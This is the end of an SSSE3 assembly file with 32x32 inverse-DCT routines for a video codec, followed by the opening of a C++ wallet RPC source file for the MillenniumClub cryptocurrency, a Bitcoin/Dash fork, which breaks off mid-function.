[r3 + 16 * 7] TRANSPOSE8X8 0, 1, 2, 3, 4, 5, 6, 7, 9 mova [r4 + 0], m0 mova [r4 + 16 * 1], m1 mova [r4 + 16 * 2], m2 mova [r4 + 16 * 3], m3 mova [r4 + 16 * 4], m4 mova [r4 + 16 * 5], m5 mova [r4 + 16 * 6], m6 mova [r4 + 16 * 7], m7 add r3, 16 * 8 add r4, 16 * 8 dec r7 jne idct32x32_135_transpose_2 IDCT32X32_135 16*0, 16*8, 16*16, 16*24 lea stp, [stp + 16 * 32] add r9, 16 * 32 dec r6 jnz idct32x32_135_2 RECON_AND_STORE pass_two_start RET %macro IDCT32X32_1024 4 ; BLOCK A STAGE 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m1, [rsp + transposed_in + 16 * 1] mova m11, [rsp + transposed_in + 16 * 31] BUTTERFLY_4X 1, 11, 804, 16364, m8, 9, 10 ; stp1_16, stp1_31 mova m0, [rsp + transposed_in + 16 * 15] mova m2, [rsp + transposed_in + 16 * 17] BUTTERFLY_4X 2, 0, 12140, 11003, m8, 9, 10 ; stp1_17, stp1_30 mova m7, [rsp + transposed_in + 16 * 7] mova m12, [rsp + transposed_in + 16 * 25] BUTTERFLY_4X 12, 7, 15426, 5520, m8, 9, 10 ; stp1_19, stp1_28 mova m3, [rsp + transposed_in + 16 * 9] mova m4, [rsp + transposed_in + 16 * 23] BUTTERFLY_4X 3, 4, 7005, 14811, m8, 9, 10 ; stp1_18, stp1_29 ; BLOCK A STAGE 2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 1, 2, 9 ; stp2_16, stp2_17 SUM_SUB 12, 3, 9 ; stp2_19, stp2_18 SUM_SUB 7, 4, 9 ; stp2_28, stp2_29 SUM_SUB 11, 0, 9 ; stp2_31, stp2_30 ; BLOCK A STAGE 3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BUTTERFLY_4X 0, 2, 3196, 16069, m8, 9, 10 ; stp1_17, stp1_30 BUTTERFLY_4Xmm 4, 3, 3196, 16069, m8, 9, 10 ; stp1_29, stp1_18 ; BLOCK A STAGE 4 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 1, 12, 9 ; stp2_16, stp2_19 SUM_SUB 0, 3, 9 ; stp2_17, stp2_18 SUM_SUB 11, 7, 9 ; stp2_31, stp2_28 SUM_SUB 2, 4, 9 ; stp2_30, stp2_29 ; BLOCK A STAGE 5 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BUTTERFLY_4X 4, 3, 6270, 15137, m8, 9, 10 ; stp1_18, stp1_29 BUTTERFLY_4X 7, 12, 6270, 15137, m8, 9, 10 ; stp1_19, stp1_28 mova [stp + %3 + idx16], m1 mova [stp + %3 + idx17], m0 mova [stp + %3 + idx18], m4 mova [stp + %3 + idx19], m7 mova [stp + %4 + idx28], m12 mova [stp + %4 + idx29], m3 mova [stp + %4 + idx30], m2 mova [stp + %4 + idx31], m11 ; BLOCK B STAGE 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m5, [rsp + transposed_in + 16 * 5] mova m6, [rsp + transposed_in + 16 * 27] BUTTERFLY_4X 5, 6, 3981, 15893, m8, 9, 10 ; stp1_20, stp1_27 mova m13, [rsp + transposed_in + 16 * 21] mova m14, [rsp + transposed_in + 16 * 11] BUTTERFLY_4X 13, 14, 14053, 8423, m8, 9, 10 ; stp1_21, stp1_26 mova m0, [rsp + transposed_in + 16 * 13] mova m1, [rsp + transposed_in + 16 * 19] BUTTERFLY_4X 0, 1, 9760, 13160, m8, 9, 10 ; stp1_22, stp1_25 mova m2, [rsp + transposed_in + 16 * 3] mova m3, [rsp + transposed_in + 16 * 29] BUTTERFLY_4X 3, 2, 16207, 2404, m8, 9, 10 ; stp1_23, stp1_24 ; BLOCK B STAGE 2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 5, 13, 9 ; stp2_20, stp2_21 SUM_SUB 3, 0, 9 ; stp2_23, stp2_22 SUM_SUB 2, 1, 9 ; stp2_24, stp2_25 SUM_SUB 6, 14, 9 ; stp2_27, stp2_26 ; BLOCK B STAGE 3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BUTTERFLY_4X 14, 13, 13623, 9102, m8, 9, 10 ; stp1_21, stp1_26 BUTTERFLY_4Xmm 1, 0, 13623, 9102, m8, 9, 10 ; stp1_25, stp1_22 ; BLOCK B STAGE 4 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 3, 5, 9 ; stp2_23, stp2_20 SUM_SUB 0, 14, 9 ; stp2_22, stp2_21 SUM_SUB 2, 6, 9 ; stp2_24, stp2_27 SUM_SUB 1, 13, 9 ; stp2_25, stp2_26 ; BLOCK B STAGE 5 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BUTTERFLY_4Xmm 6, 5, 6270, 15137, m8, 9, 10 ; stp1_27, stp1_20 BUTTERFLY_4Xmm 13, 14, 6270, 15137, m8, 9, 10 ; stp1_26, stp1_21 ; BLOCK B STAGE 6 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m4, [stp + %3 + idx16] mova m7, [stp + %3 + idx17] mova m11, [stp + %3 + idx18] mova m12, [stp + %3 + idx19] SUM_SUB 4, 3, 9 ; stp2_16, stp2_23 SUM_SUB 7, 0, 9 ; stp2_17, stp2_22 SUM_SUB 11, 14, 9 ; stp2_18, stp2_21 SUM_SUB 12, 5, 9 ; stp2_19, stp2_20 mova [stp + %3 + idx16], m4 mova [stp + %3 + idx17], m7 mova [stp + %3 + idx18], m11 mova [stp + %3 + idx19], m12 mova m4, [stp + %4 + idx28] mova m7, [stp + %4 + idx29] mova m11, [stp + %4 + idx30] mova m12, [stp + %4 + idx31] SUM_SUB 4, 6, 9 ; stp2_28, stp2_27 SUM_SUB 7, 13, 9 ; stp2_29, stp2_26 SUM_SUB 11, 1, 9 ; stp2_30, stp2_25 SUM_SUB 12, 2, 9 ; stp2_31, stp2_24 mova [stp + %4 + idx28], m4 mova [stp + %4 + idx29], m7 mova [stp + %4 + idx30], m11 mova [stp + %4 + idx31], m12 ; BLOCK B STAGE 7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ %if 0 ; overflow occurs in SUM_SUB when using test streams mova m10, [pw_11585x2] SUM_SUB 6, 5, 9 pmulhrsw m6, m10 ; stp1_27 pmulhrsw m5, m10 ; stp1_20 SUM_SUB 13, 14, 9 pmulhrsw m13, m10 ; stp1_26 pmulhrsw m14, m10 ; stp1_21 SUM_SUB 1, 0, 9 pmulhrsw m1, m10 ; stp1_25 pmulhrsw m0, m10 ; stp1_22 SUM_SUB 2, 3, 9 pmulhrsw m2, m10 ; stp1_25 pmulhrsw m3, m10 ; stp1_22 %else BUTTERFLY_4X 6, 5, 11585, 11585, m8, 9, 10 ; stp1_20, stp1_27 SWAP 6, 5 BUTTERFLY_4X 13, 14, 11585, 11585, m8, 9, 10 ; stp1_21, stp1_26 SWAP 13, 14 BUTTERFLY_4X 1, 0, 11585, 11585, m8, 9, 10 ; stp1_22, stp1_25 SWAP 1, 0 BUTTERFLY_4X 2, 3, 11585, 11585, m8, 9, 10 ; stp1_23, stp1_24 SWAP 2, 3 %endif mova [stp + %3 + idx20], m5 mova [stp + %3 + idx21], m14 mova [stp + %3 + idx22], m0 mova [stp + %3 + idx23], m3 mova [stp + %4 + idx24], m2 mova [stp + %4 + idx25], m1 mova [stp + %4 + idx26], m13 mova [stp + %4 + idx27], m6 ; BLOCK C STAGE 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; ; BLOCK C STAGE 2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m0, [rsp + transposed_in + 16 * 2] mova m1, [rsp + transposed_in + 16 * 30] BUTTERFLY_4X 0, 1, 1606, 16305, m8, 9, 10 ; stp1_8, stp1_15 mova m2, [rsp + transposed_in + 16 * 14] mova m3, [rsp + transposed_in + 16 * 18] BUTTERFLY_4X 3, 2, 12665, 10394, m8, 9, 10 ; stp1_9, stp1_14 mova m4, [rsp + transposed_in + 16 * 10] mova m5, [rsp + transposed_in + 16 * 22] BUTTERFLY_4X 4, 5, 7723, 14449, m8, 9, 10 ; stp1_10, stp1_13 mova m6, [rsp + transposed_in + 16 * 6] mova m7, [rsp + transposed_in + 16 * 26] BUTTERFLY_4X 7, 6, 15679, 4756, m8, 9, 10 ; stp1_11, stp1_12 ; BLOCK C STAGE 3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 0, 3, 9 ; stp1_8, stp1_9 SUM_SUB 7, 4, 9 ; stp1_11, stp1_10 SUM_SUB 6, 5, 9 ; stp1_12, stp1_13 SUM_SUB 1, 2, 9 ; stp1_15, stp1_14 ; BLOCK C STAGE 4 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BUTTERFLY_4X 2, 3, 6270, 15137, m8, 9, 10 ; stp1_9, stp1_14 BUTTERFLY_4Xmm 5, 4, 6270, 15137, m8, 9, 10 ; stp1_13, stp1_10 ; BLOCK C STAGE 5 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 0, 7, 9 ; stp1_8, stp1_11 SUM_SUB 2, 4, 9 ; stp1_9, stp1_10 SUM_SUB 1, 6, 9 ; stp1_15, stp1_12 SUM_SUB 3, 5, 9 ; stp1_14, stp1_13 ; BLOCK C STAGE 6 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ %if 0 ; overflow occurs in SUM_SUB when using test streams mova m10, [pw_11585x2] SUM_SUB 5, 4, 9 pmulhrsw m5, m10 ; stp1_13 pmulhrsw m4, m10 ; stp1_10 SUM_SUB 6, 7, 9 pmulhrsw m6, m10 ; stp1_12 pmulhrsw m7, m10 ; stp1_11 %else BUTTERFLY_4X 5, 4, 11585, 11585, m8, 9, 10 ; stp1_10, stp1_13 SWAP 5, 4 BUTTERFLY_4X 6, 7, 11585, 11585, m8, 9, 10 ; stp1_11, stp1_12 SWAP 6, 7 %endif ; BLOCK C STAGE 7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova [stp + %2 + idx8], m0 mova [stp + %2 + idx9], m2 mova [stp + %2 + idx10], m4 mova [stp + %2 + idx11], m7 mova [stp + %2 + idx12], m6 mova [stp + %2 + idx13], m5 mova [stp + %2 + idx14], m3 mova [stp + %2 + idx15], m1 ; BLOCK D STAGE 1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; ; BLOCK D STAGE 2 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ; ; BLOCK D STAGE 3 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m11, [rsp + transposed_in + 16 * 4] mova m12, [rsp + transposed_in + 16 * 28] BUTTERFLY_4X 11, 12, 3196, 16069, m8, 9, 10 ; stp1_4, stp1_7 mova m13, [rsp + transposed_in + 16 * 12] mova m14, [rsp + transposed_in + 16 * 20] BUTTERFLY_4X 14, 13, 13623, 9102, m8, 9, 10 ; stp1_5, stp1_6 ; BLOCK D STAGE 4 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m0, [rsp + transposed_in + 16 * 0] mova m1, [rsp + transposed_in + 16 * 16] %if 0 ; overflow occurs in SUM_SUB when using test streams mova m10, [pw_11585x2] SUM_SUB 0, 1, 9 pmulhrsw m0, m10 ; stp1_1 pmulhrsw m1, m10 ; stp1_0 %else BUTTERFLY_4X 0, 1, 11585, 11585, m8, 9, 10 ; stp1_1, stp1_0 SWAP 0, 1 %endif mova m2, [rsp + transposed_in + 16 * 8] mova m3, [rsp + transposed_in + 16 * 24] BUTTERFLY_4X 2, 3, 6270, 15137, m8, 9, 10 ; stp1_2, stp1_3 mova m10, [pw_11585x2] SUM_SUB 11, 14, 9 ; stp1_4, stp1_5 SUM_SUB 12, 13, 9 ; stp1_7, stp1_6 ; BLOCK D STAGE 5 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ %if 0 ; overflow occurs in SUM_SUB when using test streams SUM_SUB 13, 14, 9 pmulhrsw m13, m10 ; stp1_6 pmulhrsw m14, m10 ; stp1_5 %else BUTTERFLY_4X 13, 14, 11585, 11585, m8, 9, 10 ; stp1_5, stp1_6 SWAP 13, 14 %endif SUM_SUB 0, 3, 9 ; stp1_0, stp1_3 SUM_SUB 1, 2, 9 ; stp1_1, stp1_2 ; BLOCK D STAGE 6 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SUM_SUB 0, 12, 9 ; stp1_0, stp1_7 SUM_SUB 1, 13, 9 ; stp1_1, stp1_6 SUM_SUB 2, 14, 9 ; stp1_2, stp1_5 SUM_SUB 3, 11, 9 ; stp1_3, stp1_4 ; BLOCK D STAGE 7 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mova m4, [stp + %2 + idx12] mova m5, [stp + %2 + idx13] mova m6, [stp + %2 + idx14] mova m7, [stp + %2 + idx15] SUM_SUB 0, 7, 9 ; stp1_0, stp1_15 SUM_SUB 1, 6, 9 ; stp1_1, stp1_14 SUM_SUB 2, 5, 9 ; stp1_2, stp1_13 SUM_SUB 3, 4, 9 ; stp1_3, stp1_12 ; 0-3, 28-31 final stage mova m10, [stp + %4 + idx31] mova m15, [stp + %4 + idx30] SUM_SUB 0, 10, 9 ; stp1_0, stp1_31 SUM_SUB 1, 15, 9 ; stp1_1, stp1_30 mova [stp + %1 + idx0], m0 mova [stp + %1 + idx1], m1 mova [stp + %4 + idx31], m10 mova [stp + %4 + idx30], m15 mova m0, [stp + %4 + idx29] mova m1, [stp + %4 + idx28] SUM_SUB 2, 0, 9 ; stp1_2, stp1_29 SUM_SUB 3, 1, 9 ; stp1_3, stp1_28 mova [stp + %1 + idx2], m2 mova [stp + %1 + idx3], m3 mova [stp + %4 + idx29], m0 mova [stp + %4 + idx28], m1 ; 12-15, 16-19 final stage mova m0, [stp + %3 + idx16] mova m1, [stp + %3 + idx17] mova m2, [stp + %3 + idx18] mova m3, [stp + %3 + idx19] SUM_SUB 7, 0, 9 ; stp1_15, stp1_16 SUM_SUB 6, 1, 9 ; stp1_14, stp1_17 SUM_SUB 5, 2, 9 ; stp1_13, stp1_18 SUM_SUB 4, 3, 9 ; stp1_12, stp1_19 mova [stp + %2 + idx12], m4 mova [stp + %2 + idx13], m5 mova [stp + %2 + idx14], m6 mova [stp + %2 + idx15], m7 mova [stp + %3 + idx16], m0 mova [stp + %3 + idx17], m1 mova [stp + %3 + idx18], m2 mova [stp + %3 + idx19], m3 mova m4, [stp + %2 + idx8] mova m5, [stp + %2 + idx9] mova m6, [stp + %2 + idx10] mova m7, [stp + %2 + idx11] SUM_SUB 11, 7, 9 ; stp1_4, stp1_11 SUM_SUB 14, 6, 9 ; stp1_5, stp1_10 SUM_SUB 13, 5, 9 ; stp1_6, stp1_9 SUM_SUB 12, 4, 9 ; stp1_7, stp1_8 ; 4-7, 24-27 final stage mova m3, [stp + %4 + idx24] mova m2, [stp + %4 + idx25] mova m1, [stp + %4 + idx26] mova m0, [stp + %4 + idx27] SUM_SUB 12, 3, 9 ; stp1_7, stp1_24 SUM_SUB 13, 2, 9 ; stp1_6, stp1_25 SUM_SUB 14, 1, 9 ; stp1_5, stp1_26 SUM_SUB 11, 0, 9 ; stp1_4, stp1_27 mova [stp + %4 + idx24], m3 mova [stp + %4 + idx25], m2 mova [stp + %4 + idx26], m1 mova [stp + %4 + idx27], m0 mova [stp + %1 + idx4], m11 mova [stp + %1 + idx5], m14 mova [stp + %1 + idx6], m13 mova [stp + %1 + idx7], m12 ; 8-11, 20-23 final stage mova m0, [stp + %3 + idx20] mova m1, [stp + %3 + idx21] mova m2, [stp + %3 + idx22] mova m3, [stp + %3 + idx23] SUM_SUB 7, 0, 9 ; stp1_11, stp_20 SUM_SUB 6, 1, 9 ; stp1_10, stp_21 SUM_SUB 5, 2, 9 ; stp1_9, stp_22 SUM_SUB 4, 3, 9 ; stp1_8, stp_23 mova [stp + %2 + idx8], m4 mova [stp + %2 + idx9], m5 mova [stp + %2 + idx10], m6 mova [stp + %2 + idx11], m7 mova [stp + %3 + idx20], m0 mova [stp + %3 + idx21], m1 mova [stp + %3 + idx22], m2 mova [stp + %3 + idx23], m3 %endmacro INIT_XMM ssse3 cglobal idct32x32_1024_add, 3, 11, 16, i32x32_size, input, output, stride mova m8, [pd_8192] mov r6, 4 lea stp, [rsp + pass_one_start] idct32x32_1024: mov r3, inputq lea r4, [rsp + transposed_in] mov r7, 4 idct32x32_1024_transpose: %if CONFIG_VP9_HIGHBITDEPTH mova m0, [r3 + 0] packssdw m0, [r3 + 16] mova m1, [r3 + 32 * 4] packssdw m1, [r3 + 32 * 4 + 16] mova m2, [r3 + 32 * 8] packssdw m2, [r3 + 32 * 8 + 16] mova m3, [r3 + 32 * 12] packssdw m3, [r3 + 32 * 12 + 16] mova m4, [r3 + 32 * 16] packssdw m4, [r3 + 32 * 16 + 16] mova m5, [r3 + 32 * 20] packssdw m5, [r3 + 32 * 20 + 16] mova m6, [r3 + 32 * 24] packssdw m6, [r3 + 32 * 24 + 16] mova m7, [r3 + 32 * 28] packssdw m7, [r3 + 32 * 28 + 16] %else mova m0, [r3 + 0] mova m1, [r3 + 16 * 4] mova m2, [r3 + 16 * 8] mova m3, [r3 + 16 * 12] mova m4, [r3 + 16 * 16] mova m5, [r3 + 16 * 20] mova m6, [r3 + 16 * 24] mova m7, [r3 + 16 * 28] %endif TRANSPOSE8X8 0, 1, 2, 3, 4, 5, 6, 7, 9 mova [r4 + 0], m0 mova [r4 + 16 * 1], m1 mova [r4 + 16 * 2], m2 mova [r4 + 16 * 3], m3 mova [r4 + 16 * 4], m4 mova [r4 + 16 * 5], m5 mova [r4 + 16 * 6], m6 mova [r4 + 16 * 7], m7 %if CONFIG_VP9_HIGHBITDEPTH add r3, 32 %else add r3, 16 %endif add r4, 16 * 8 dec r7 jne idct32x32_1024_transpose IDCT32X32_1024 16*0, 16*32, 16*64, 16*96 lea stp, [stp + 16 * 8] %if CONFIG_VP9_HIGHBITDEPTH lea inputq, [inputq + 32 * 32] %else lea inputq, [inputq + 16 * 32] %endif dec r6 jnz idct32x32_1024 mov r6, 4 lea stp, [rsp + pass_one_start] lea r9, [rsp + pass_one_start] idct32x32_1024_2: lea r4, [rsp + transposed_in] mov r3, r9 mov r7, 4 idct32x32_1024_transpose_2: mova m0, [r3 + 0] mova m1, [r3 + 16 * 1] mova m2, [r3 + 16 * 2] mova m3, [r3 + 16 * 3] mova m4, [r3 + 16 * 4] mova m5, [r3 + 16 * 5] mova m6, [r3 + 16 * 6] mova m7, [r3 + 16 * 7] TRANSPOSE8X8 0, 1, 2, 3, 4, 5, 6, 7, 9 mova [r4 + 0], m0 mova [r4 + 16 * 1], m1 mova [r4 + 16 * 2], m2 mova [r4 + 16 * 3], m3 mova [r4 + 16 * 4], m4 mova [r4 + 16 * 5], m5 mova [r4 + 16 * 6], m6 mova [r4 + 16 * 7], m7 add r3, 16 * 8 add r4, 16 * 8 dec r7 jne idct32x32_1024_transpose_2 IDCT32X32_1024 16*0, 16*8, 16*16, 16*24 lea stp, [stp + 16 * 32] add r9, 16 * 32 dec r6 jnz idct32x32_1024_2 RECON_AND_STORE pass_two_start RET %endif
// Copyright (c) 2010 Satoshi Nakamoto // Copyright (c) 2009-2015 The Bitcoin Core developers // Copyright (c) 2014-2017 The Dash Core developers // Copyright (c) 2019 The MillenniumClub Core developers // Distributed under the MIT software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "amount.h" #include "base58.h" #include "chain.h" #include "consensus/validation.h" #include "core_io.h" #include "init.h" #include "instantx.h" #include "net.h" #include "policy/rbf.h" #include "rpc/server.h" #include "timedata.h" #include "util.h" #include "utilmoneystr.h" #include "validation.h" #include "wallet.h" #include "walletdb.h" #include "keepass.h" #include <stdint.h> #include <boost/assign/list_of.hpp> #include <univalue.h> int64_t nWalletUnlockTime; static CCriticalSection cs_nWalletUnlockTime; std::string HelpRequiringPassphrase() { return pwalletMain && pwalletMain->IsCrypted() ? "\nRequires wallet passphrase to be set with walletpassphrase call." : ""; } bool EnsureWalletIsAvailable(bool avoidException) { if (!pwalletMain) { if (!avoidException) throw JSONRPCError(RPC_METHOD_NOT_FOUND, "Method not found (disabled)"); else return false; } return true; } void EnsureWalletIsUnlocked() { if (pwalletMain->IsLocked()) throw JSONRPCError(RPC_WALLET_UNLOCK_NEEDED, "Error: Please enter the wallet passphrase with walletpassphrase first."); } void WalletTxToJSON(const CWalletTx& wtx, UniValue& entry) { int confirms = wtx.GetDepthInMainChain(false); bool fLocked = instantsend.IsLockedInstantSendTransaction(wtx.GetHash()); entry.push_back(Pair("confirmations", confirms)); entry.push_back(Pair("instantlock", fLocked)); if (wtx.IsCoinBase()) entry.push_back(Pair("generated", true)); if (confirms > 0) { entry.push_back(Pair("blockhash", wtx.hashBlock.GetHex())); entry.push_back(Pair("blockindex", wtx.nIndex)); entry.push_back(Pair("blocktime", mapBlockIndex[wtx.hashBlock]->GetBlockTime())); } else { entry.push_back(Pair("trusted", wtx.IsTrusted())); } uint256 hash = wtx.GetHash(); entry.push_back(Pair("txid", hash.GetHex())); UniValue conflicts(UniValue::VARR); BOOST_FOREACH(const uint256& conflict, wtx.GetConflicts()) conflicts.push_back(conflict.GetHex()); entry.push_back(Pair("walletconflicts", conflicts)); entry.push_back(Pair("time", wtx.GetTxTime())); entry.push_back(Pair("timereceived", (int64_t)wtx.nTimeReceived)); // Add opt-in RBF status std::string rbfStatus = "no"; if (confirms <= 0) { LOCK(mempool.cs); RBFTransactionState rbfState = IsRBFOptIn(wtx, mempool); if (rbfState == RBF_TRANSACTIONSTATE_UNKNOWN) rbfStatus = "unknown"; else if (rbfState == RBF_TRANSACTIONSTATE_REPLACEABLE_BIP125) rbfStatus = "yes"; } entry.push_back(Pair("bip125-replaceable", rbfStatus)); BOOST_FOREACH(const PAIRTYPE(std::string, std::string)& item, wtx.mapValue) entry.push_back(Pair(item.first, item.second)); } std::string AccountFromValue(const UniValue& value) { std::string strAccount = value.get_str(); if (strAccount == "*") throw JSONRPCError(RPC_WALLET_INVALID_ACCOUNT_NAME, "Invalid account name"); return strAccount; } UniValue getnewaddress(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() > 1) throw std::runtime_error( "getnewaddress ( \"account\" )\n" "\nReturns a new MillenniumClub address for receiving payments.\n" "If 'account' is specified (DEPRECATED), it is added to the address book \n" "so payments received with the address will be credited to 'account'.\n" "\nArguments:\n" "1. \"account\" (string, optional) DEPRECATED. The account name for the address to be linked to. If not provided, the default account \"\" is used. It can also be set to the empty string \"\" to represent the default account. The account does not need to exist, it will be created if there is no account by the given name.\n" "\nResult:\n" "\"address\" (string) The new millenniumclub address\n" "\nExamples:\n" + HelpExampleCli("getnewaddress", "") + HelpExampleRpc("getnewaddress", "") ); LOCK2(cs_main, pwalletMain->cs_wallet); // Parse the account first so we don't generate a key if there's an error std::string strAccount; if (request.params.size() > 0) strAccount = AccountFromValue(request.params[0]); if (!pwalletMain->IsLocked(true)) pwalletMain->TopUpKeyPool(); // Generate a new key that is added to wallet CPubKey newKey; if (!pwalletMain->GetKeyFromPool(newKey, false)) throw JSONRPCError(RPC_WALLET_KEYPOOL_RAN_OUT, "Error: Keypool ran out, please call keypoolrefill first"); CKeyID keyID = newKey.GetID(); pwalletMain->SetAddressBook(keyID, strAccount, "receive"); return CBitcoinAddress(keyID).ToString(); } CBitcoinAddress GetAccountAddress(std::string strAccount, bool bForceNew=false) { CPubKey pubKey; if (!pwalletMain->GetAccountPubkey(pubKey, strAccount, bForceNew)) { throw JSONRPCError(RPC_WALLET_KEYPOOL_RAN_OUT, "Error: Keypool ran out, please call keypoolrefill first"); } return CBitcoinAddress(pubKey.GetID()); } UniValue getaccountaddress(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() != 1) throw std::runtime_error( "getaccountaddress \"account\"\n" "\nDEPRECATED. Returns the current MillenniumClub address for receiving payments to this account.\n" "\nArguments:\n" "1. \"account\" (string, required) The account name for the address. It can also be set to the empty string \"\" to represent the default account. The account does not need to exist, it will be created and a new address created if there is no account by the given name.\n" "\nResult:\n" "\"address\" (string) The account millenniumclub address\n" "\nExamples:\n" + HelpExampleCli("getaccountaddress", "") + HelpExampleCli("getaccountaddress", "\"\"") + HelpExampleCli("getaccountaddress", "\"myaccount\"") + HelpExampleRpc("getaccountaddress", "\"myaccount\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); // Parse the account first so we don't generate a key if there's an error std::string strAccount = AccountFromValue(request.params[0]); UniValue ret(UniValue::VSTR); ret = GetAccountAddress(strAccount).ToString(); return ret; } UniValue getrawchangeaddress(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() > 1) throw std::runtime_error( "getrawchangeaddress\n" "\nReturns a new MillenniumClub address, for receiving change.\n" "This is for use with raw transactions, NOT normal use.\n" "\nResult:\n" "\"address\" (string) The address\n" "\nExamples:\n" + HelpExampleCli("getrawchangeaddress", "") + HelpExampleRpc("getrawchangeaddress", "") ); LOCK2(cs_main, pwalletMain->cs_wallet); if (!pwalletMain->IsLocked(true)) pwalletMain->TopUpKeyPool(); CReserveKey reservekey(pwalletMain); CPubKey vchPubKey; if (!reservekey.GetReservedKey(vchPubKey, true)) throw JSONRPCError(RPC_WALLET_KEYPOOL_RAN_OUT, "Error: Keypool ran out, please call keypoolrefill first"); reservekey.KeepKey(); CKeyID keyID = vchPubKey.GetID(); return CBitcoinAddress(keyID).ToString(); } UniValue setaccount(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() < 1 || request.params.size() > 2) throw std::runtime_error( "setaccount \"address\" \"account\"\n" "\nDEPRECATED. Sets the account associated with the given address.\n" "\nArguments:\n" "1. \"address\" (string, required) The millenniumclub address to be associated with an account.\n" "2. \"account\" (string, required) The account to assign the address to.\n" "\nExamples:\n" + HelpExampleCli("setaccount", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\" \"tabby\"") + HelpExampleRpc("setaccount", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\", \"tabby\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); CBitcoinAddress address(request.params[0].get_str()); if (!address.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid MillenniumClub address"); std::string strAccount; if (request.params.size() > 1) strAccount = AccountFromValue(request.params[1]); // Only add the account if the address is yours. if (IsMine(*pwalletMain, address.Get())) { // Detect when changing the account of an address that is the 'unused current key' of another account: if (pwalletMain->mapAddressBook.count(address.Get())) { std::string strOldAccount = pwalletMain->mapAddressBook[address.Get()].name; if (address == GetAccountAddress(strOldAccount)) GetAccountAddress(strOldAccount, true); } pwalletMain->SetAddressBook(address.Get(), strAccount, "receive"); } else throw JSONRPCError(RPC_MISC_ERROR, "setaccount can only be used with own address"); return NullUniValue; } UniValue getaccount(const JSONRPCRequest& request) { if (!EnsureWalletIsAvailable(request.fHelp)) return NullUniValue; if (request.fHelp || request.params.size() != 1) throw std::runtime_error( "getaccount \"address\"\n" "\nDEPRECATED. Returns the account associated with the given address.\n" "\nArguments:\n" "1. \"address\" (string, required) The millenniumclub address for account lookup.\n" "\nResult:\n" "\"accountname\" (string) the account address\n" "\nExamples:\n" + HelpExampleCli("getaccount", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\"") + HelpExampleRpc("getaccount", "\"XwnLY9Tf7Zsef8gMGL2fhWA9ZmMjt4KPwG\"") ); LOCK2(cs_main, pwalletMain->cs_wallet); CBitcoinAddress address(request.params[0].get_str()); if (!address.IsValid()) throw JSONRPCError(RPC_INVALID_ADDRESS_OR_KEY, "Invalid MillenniumClub address"); std::string strAccount; std::map<CTxDestination, CAddressBookData>::iterator mi = pwalletMain->mapAddressBook.find(address.Get()); if (mi != 